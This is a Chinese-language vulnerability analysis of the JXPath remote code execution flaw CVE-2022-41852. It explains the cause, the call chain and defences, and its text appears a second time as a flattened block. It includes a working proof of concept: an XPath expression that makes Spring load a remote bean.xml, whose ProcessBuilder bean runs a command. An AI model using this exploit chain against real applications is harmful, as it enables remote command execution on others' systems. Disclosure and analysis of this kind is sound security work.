Apache Commons JXPath 远程代码执行(CVE-2022-41852)
字数 1415 2025-08-26 22:11:45

Apache Commons JXPath 远程代码执行漏洞分析(CVE-2022-41852)

漏洞概述

Apache Commons JXPath 是一个Java库,实现了XPath语言规范。该库在处理不受信任的XPath表达式时存在远程代码执行漏洞(CVE-2022-41852)。攻击者可以构造特殊的XPath表达式从类路径加载任意Java类,导致任意代码执行。

漏洞影响范围

  • 影响版本:所有版本的commons-jxpath
  • 安全版本:无官方修复版本(建议禁用或限制使用)

漏洞原理

JXPathContext类中处理XPath字符串的函数(除compile()和compilePath()外)都存在此漏洞。JXPath支持标准扩展函数,这些函数本质上提供了到Java的桥梁,可以:

  1. 调用对象上的方法
  2. 调用类上的静态方法
  3. 使用任何构造函数创建对象

攻击者可以利用这一特性构造XPath表达式来执行任意Java代码。

漏洞复现步骤

1. 环境准备

在Maven项目中添加依赖:

<!-- commons-jxpath -->
<dependency>
    <groupId>commons-jxpath</groupId>
    <artifactId>commons-jxpath</artifactId>
    <version>1.3</version>
</dependency>

<!-- Spring依赖(用于利用) -->
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context-support</artifactId>
    <version>5.3.23</version>
</dependency>

2. 漏洞利用代码

import org.apache.commons.jxpath.JXPathContext;

public class JXpathDemo {
    public static void main(String[] args) {
        try{
            JXPathContext context = JXPathContext.newContext(null);
            String key = (String) context.getValue(
                "org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:8080/bean.xml\")");
            System.out.println(key);
        }catch (Exception exception){
            exception.printStackTrace();
        }
    }
}

3. 恶意XML文件(bean.xml)

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:p="http://www.springframework.org/schema/p"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
        http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value>calc.exe</value>
          </list>
        </constructor-arg>
    </bean>
</beans>

漏洞分析

关键调用链

  1. org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue

    • 通过context.getRootContext().getFunction(functionName, parameters)获取函数
    • 然后调用function.invoke(context, parameters)
  2. org.apache.commons.jxpath.PackageFunctions#getFunction

    • 检查类名是否存在
    • 根据方法是构造函数还是静态方法返回:
      • org.apache.commons.jxpath.functions.ConstructorFunction
      • org.apache.commons.jxpath.functions.MethodFunction
  3. org.apache.commons.jxpath.functions.ConstructorFunction#invoke

    • 利用构造函数创建对象
    • 本例中利用Spring的ClassPathXmlApplicationContext加载远程XML

技术细节

漏洞利用主要依赖两种Spring类:

  1. org.springframework.context.support.ClassPathXmlApplicationContext
  2. org.springframework.context.support.FileSystemXmlApplicationContext

这些类的构造函数可以加载远程XML配置文件,而XML中可定义恶意bean实现RCE。

防御措施

  1. 避免使用JXPath处理不受信任的XPath表达式
  2. 如果必须使用,仅使用compile()compilePath()方法(这两个方法不受影响)
  3. 升级到最新版本(但截至分析时官方尚未发布修复版本)
  4. 实施严格的输入验证和过滤

总结

该漏洞源于JXPath对XPath表达式的过度权限控制,允许通过标准扩展函数直接调用Java方法。攻击者可利用此特性加载任意类并执行恶意代码,特别是结合Spring框架的XML配置功能,可轻松实现远程代码执行。

Apache Commons JXPath 远程代码执行漏洞分析(CVE-2022-41852) 漏洞概述 Apache Commons JXPath 是一个Java库,实现了XPath语言规范。该库在处理不受信任的XPath表达式时存在远程代码执行漏洞(CVE-2022-41852)。攻击者可以构造特殊的XPath表达式从类路径加载任意Java类,导致任意代码执行。 漏洞影响范围 影响版本:所有版本的commons-jxpath 安全版本:无官方修复版本(建议禁用或限制使用) 漏洞原理 JXPathContext类中处理XPath字符串的函数(除compile()和compilePath()外)都存在此漏洞。JXPath支持标准扩展函数,这些函数本质上提供了到Java的桥梁,可以: 调用对象上的方法 调用类上的静态方法 使用任何构造函数创建对象 攻击者可以利用这一特性构造XPath表达式来执行任意Java代码。 漏洞复现步骤 1. 环境准备 在Maven项目中添加依赖: 2. 漏洞利用代码 3. 恶意XML文件(bean.xml) 漏洞分析 关键调用链 org.apache.commons.jxpath.ri.compiler.ExtensionFunction#computeValue 通过 context.getRootContext().getFunction(functionName, parameters) 获取函数 然后调用 function.invoke(context, parameters) org.apache.commons.jxpath.PackageFunctions#getFunction 检查类名是否存在 根据方法是构造函数还是静态方法返回: org.apache.commons.jxpath.functions.ConstructorFunction org.apache.commons.jxpath.functions.MethodFunction org.apache.commons.jxpath.functions.ConstructorFunction#invoke 利用构造函数创建对象 本例中利用Spring的 ClassPathXmlApplicationContext 加载远程XML 技术细节 漏洞利用主要依赖两种Spring类: org.springframework.context.support.ClassPathXmlApplicationContext org.springframework.context.support.FileSystemXmlApplicationContext 这些类的构造函数可以加载远程XML配置文件,而XML中可定义恶意bean实现RCE。 防御措施 避免使用JXPath处理不受信任的XPath表达式 如果必须使用,仅使用 compile() 和 compilePath() 方法(这两个方法不受影响) 升级到最新版本(但截至分析时官方尚未发布修复版本) 实施严格的输入验证和过滤 总结 该漏洞源于JXPath对XPath表达式的过度权限控制,允许通过标准扩展函数直接调用Java方法。攻击者可利用此特性加载任意类并执行恶意代码,特别是结合Spring框架的XML配置功能,可轻松实现远程代码执行。